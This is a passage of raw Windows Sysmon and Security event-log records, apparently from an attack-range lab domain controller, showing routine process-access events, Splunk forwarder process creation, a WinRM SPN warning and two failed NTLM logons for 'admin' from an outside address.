ll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:08","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:07","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2200,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:07.125\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:07.125","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:08","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:07","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2201,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:07.125\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:07.125","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:08","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:07","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2202,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:07.125\r\nSourceProcessGUID: {90617006-3FE5-5F2D-0000-00105DC70200}\r\nSourceProcessId: 3756\r\nSourceThreadId: 3776\r\nSourceImage: C:\\Windows\\system32\\conhost.exe\r\nTargetProcessGUID: {90617006-3FEE-5F2D-0000-0010DC6F0300}\r\nTargetProcessId: 3644\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:07.125","SourceProcessGUID":"{90617006-3FE5-5F2D-0000-00105DC70200}","SourceProcessId":"3756","SourceThreadId":"3776","SourceImage":"C:\\Windows\\system32\\conhost.exe","TargetProcessGUID":"{90617006-3FEE-5F2D-0000-0010DC6F0300}","TargetProcessId":"3644","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:08","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:07","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2203,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:07.281\r\nSourceProcessGUID: {90617006-3FEE-5F2D-0000-0010DC6F0300}\r\nSourceProcessId: 3644\r\nSourceThreadId: 3636\r\nSourceImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-0010FE150200}\r\nTargetProcessId: 2820\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nGrantedAccess: 0x101400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe+55e675|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe+55e1a6|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe+6b453|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe+8e8530|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:07.281","SourceProcessGUID":"{90617006-3FEE-5F2D-0000-0010DC6F0300}","SourceProcessId":"3644","SourceThreadId":"3636","SourceImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-0010FE150200}","TargetProcessId":"2820","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","GrantedAccess":"0x101400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe+55e675|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe+55e1a6|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe+6b453|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe+8e8530|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:08","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:07","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9218868437227405312,"EventType":"AUDIT_FAILURE","SeverityValue":4,"Severity":"ERROR","EventID":4625,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12544,"OpcodeValue":0,"RecordNumber":221507,"ProcessID":860,"ThreadID":908,"Channel":"Security","Message":"An account failed to log on.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-0-0\r\n\tAccount Name:\t\t-\r\n\tAccount Domain:\t\t-\r\n\tLogon ID:\t\t0x0\r\n\r\nLogon Type:\t\t\t3\r\n\r\nAccount For Which Logon Failed:\r\n\tSecurity ID:\t\tS-1-0-0\r\n\tAccount Name:\t\tadmin\r\n\tAccount Domain:\t\t\r\n\r\nFailure Information:\r\n\tFailure Reason:\t\tUnknown user name or bad password.\r\n\tStatus:\t\t\t0xC000006D\r\n\tSub Status:\t\t0xC0000064\r\n\r\nProcess Information:\r\n\tCaller Process ID:\t0x0\r\n\tCaller Process Name:\t-\r\n\r\nNetwork Information:\r\n\tWorkstation Name:\t-\r\n\tSource Network Address:\t78.37.23.127\r\n\tSource Port:\t\t61712\r\n\r\nDetailed Authentication Information:\r\n\tLogon Process:\t\tNtLmSsp \r\n\tAuthentication Package:\tNTLM\r\n\tTransited Services:\t-\r\n\tPackage Name (NTLM only):\t-\r\n\tKey Length:\t\t0\r\n\r\nThis event is generated when a logon request fails. It is generated on the computer where access was attempted.\r\n\r\nThe Subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\r\n\r\nThe Logon Type field indicates the kind of logon that was requested. The most common types are 2 (interactive) and 3 (network).\r\n\r\nThe Process Information fields indicate which account and process on the system requested the logon.\r\n\r\nThe Network Information fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\r\n\r\nThe authentication information fields provide detailed information about this specific logon request.\r\n\t- Transited services indicate which intermediate services have participated in this logon request.\r\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\r\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.","Category":"Logon","Opcode":"Info","SubjectUserSid":"S-1-0-0","SubjectUserName":"-","SubjectDomainName":"-","SubjectLogonId":"0x0","TargetUserSid":"S-1-0-0","TargetUserName":"admin","Status":"0xc000006d","FailureReason":"%%2313","SubStatus":"0xc0000064","LogonType":"3","LogonProcessName":"NtLmSsp ","AuthenticationPackageName":"NTLM","WorkstationName":"-","TransmittedServices":"-","LmPackageName":"-","KeyLength":"0","ProcessName":"-","IpAddress":"78.37.23.127","IpPort":"61712","EventReceivedTime":"2020-08-07 11:50:08","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:07","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9218868437227405312,"EventType":"AUDIT_FAILURE","SeverityValue":4,"Severity":"ERROR","EventID":4625,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12544,"OpcodeValue":0,"RecordNumber":221508,"ProcessID":860,"ThreadID":908,"Channel":"Security","Message":"An account failed to log on.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-0-0\r\n\tAccount Name:\t\t-\r\n\tAccount Domain:\t\t-\r\n\tLogon ID:\t\t0x0\r\n\r\nLogon Type:\t\t\t3\r\n\r\nAccount For Which Logon Failed:\r\n\tSecurity ID:\t\tS-1-0-0\r\n\tAccount Name:\t\tadmin\r\n\tAccount Domain:\t\t\r\n\r\nFailure Information:\r\n\tFailure Reason:\t\tUnknown user name or bad password.\r\n\tStatus:\t\t\t0xC000006D\r\n\tSub Status:\t\t0xC0000064\r\n\r\nProcess Information:\r\n\tCaller Process ID:\t0x0\r\n\tCaller Process Name:\t-\r\n\r\nNetwork Information:\r\n\tWorkstation Name:\t-\r\n\tSource Network Address:\t78.37.23.127\r\n\tSource Port:\t\t61781\r\n\r\nDetailed Authentication Information:\r\n\tLogon Process:\t\tNtLmSsp \r\n\tAuthentication Package:\tNTLM\r\n\tTransited Services:\t-\r\n\tPackage Name (NTLM only):\t-\r\n\tKey Length:\t\t0\r\n\r\nThis event is generated when a logon request fails. It is generated on the computer where access was attempted.\r\n\r\nThe Subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\r\n\r\nThe Logon Type field indicates the kind of logon that was requested. The most common types are 2 (interactive) and 3 (network).\r\n\r\nThe Process Information fields indicate which account and process on the system requested the logon.\r\n\r\nThe Network Information fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\r\n\r\nThe authentication information fields provide detailed information about this specific logon request.\r\n\t- Transited services indicate which intermediate services have participated in this logon request.\r\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\r\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.","Category":"Logon","Opcode":"Info","SubjectUserSid":"S-1-0-0","SubjectUserName":"-","SubjectDomainName":"-","SubjectLogonId":"0x0","TargetUserSid":"S-1-0-0","TargetUserName":"admin","Status":"0xc000006d","FailureReason":"%%2313","SubStatus":"0xc0000064","LogonType":"3","LogonProcessName":"NtLmSsp ","AuthenticationPackageName":"NTLM","WorkstationName":"-","TransmittedServices":"-","LmPackageName":"-","KeyLength":"0","ProcessName":"-","IpAddress":"78.37.23.127","IpPort":"61781","EventReceivedTime":"2020-08-07 11:50:08","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:08","Hostname":"win-dc-9849183.attackrange.local","Keywords":36028797018963968,"EventType":"WARNING","SeverityValue":3,"Severity":"WARNING","EventID":10154,"SourceName":"Microsoft-Windows-WinRM","ProviderGuid":"{A7975C8F-AC13-49F1-87DA-5A984A4AB417}","Version":0,"Task":0,"OpcodeValue":0,"RecordNumber":76810,"ProcessID":0,"ThreadID":0,"Channel":"System","Message":"The WinRM service failed to create the following SPNs: WSMAN/win-dc-9849183.attackrange.local; WSMAN/win-dc-9849183. \r\n\r\n Additional Data \r\n The error received was 1355: %%1355.\r\n\r\n User Action \r\n The SPNs can be created by an administrator using setspn.exe utility.","Opcode":"Info","spn1":"WSMAN/win-dc-9849183.attackrange.local","spn2":"WSMAN/win-dc-9849183","error":"1355","EventReceivedTime":"2020-08-07 11:50:09","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:07","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":1,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":1,"OpcodeValue":0,"RecordNumber":2204,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process Create:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:07.797\r\nProcessGuid: {90617006-3FEF-5F2D-0000-0010FA710300}\r\nProcessId: 3620\r\nImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe\r\nFileVersion: ?\r\nDescription: ?\r\nProduct: ?\r\nCompany: ?\r\nOriginalFileName: ?\r\nCommandLine: \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe\" --ps2\r\nCurrentDirectory: C:\\Windows\\system32\\\r\nUser: NT AUTHORITY\\SYSTEM\r\nLogonGuid: {90617006-3FD2-5F2D-0000-0020E7030000}\r\nLogonId: 0x3E7\r\nTerminalSessionId: 0\r\nIntegrityLevel: System\r\nHashes: MD5=030CC9FD3784684043D9236FF16904DE,SHA256=6C84A212BD1EA1FCC493E9F8ED1C1507E2773F6FE71ACDE265067F3153BE6241,IMPHASH=45491F0E80AC016364EB8FB78BD23A1C\r\nParentProcessGuid: {90617006-3FE4-5F2D-0000-0010FE150200}\r\nParentProcessId: 2820\r\nParentImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nParentCommandLine: \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\" service","Category":"Process Create (rule: ProcessCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:50:07.797","ProcessGuid":"{90617006-3FEF-5F2D-0000-0010FA710300}","Image":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe","FileVersion":"?","Description":"?","Product":"?","Company":"?","OriginalFileName":"?","CommandLine":"\"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe\" --ps2","CurrentDirectory":"C:\\Windows\\system32\\","User":"NT AUTHORITY\\SYSTEM","LogonGuid":"{90617006-3FD2-5F2D-0000-0020E7030000}","LogonId":"0x3e7","TerminalSessionId":"0","IntegrityLevel":"System","Hashes":"MD5=030CC9FD3784684043D9236FF16904DE,SHA256=6C84A212BD1EA1FCC493E9F8ED1C1507E2773F6FE71ACDE265067F3153BE6241,IMPHASH=45491F0E80AC016364EB8FB78BD23A1C","ParentProcessGuid":"{90617006-3FE4-5F2D-0000-0010FE150200}","ParentProcessId":"2820","ParentImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","ParentCommandLine":"\"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\" service","EventReceivedTime":"2020-08-07 11:50:09","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:07","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2205,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:07.797\r\nSourceProcessGUID: {90617006-3FE4-5F2D-0000-0010FE150200}\r\nSourceProcessId: 2820\r\nSourceThreadId: 4076\r\nSourceImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nTargetProcessGUID: {90617006-3FEF-5F2D-0000-0010FA710300}\r\nTargetProcessId: 3620\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+ce6a3b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17cade|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18641d|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17ef16|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c992c4|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18689b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+189d3c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c95f5f|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c99fad|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+184c5b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c7dd7e|C:\\Windows\\System32\\ucrtbase.dll+1fb80|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:07.797","SourceProcessGUID":"{90617006-3FE4-5F2D-0000-0010FE150200}","SourceProcessId":"2820","SourceThreadId":"4076","SourceImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","TargetProcessGUID":"{90617006-3FEF-5F2D-0000-0010FA710300}","TargetProcessId":"3620","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+ce6a3b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17cade|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18641d|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17ef16|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c992c4|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18689b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+189d3c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c95f5f|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c99fad|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+184c5b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c7dd7e|C:\\Windows\\System32\\ucrtbase.dll+1fb80|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:09","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:07","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2206,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:07.797\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 1148\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-3FEF-5F2D-0000-0010FA710300}\r\nTargetProcessId: 3620\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:07.797","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"1148","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-3FEF-5F2D-0000-0010FA710300}","TargetProcessId":"3620","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:50:09","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 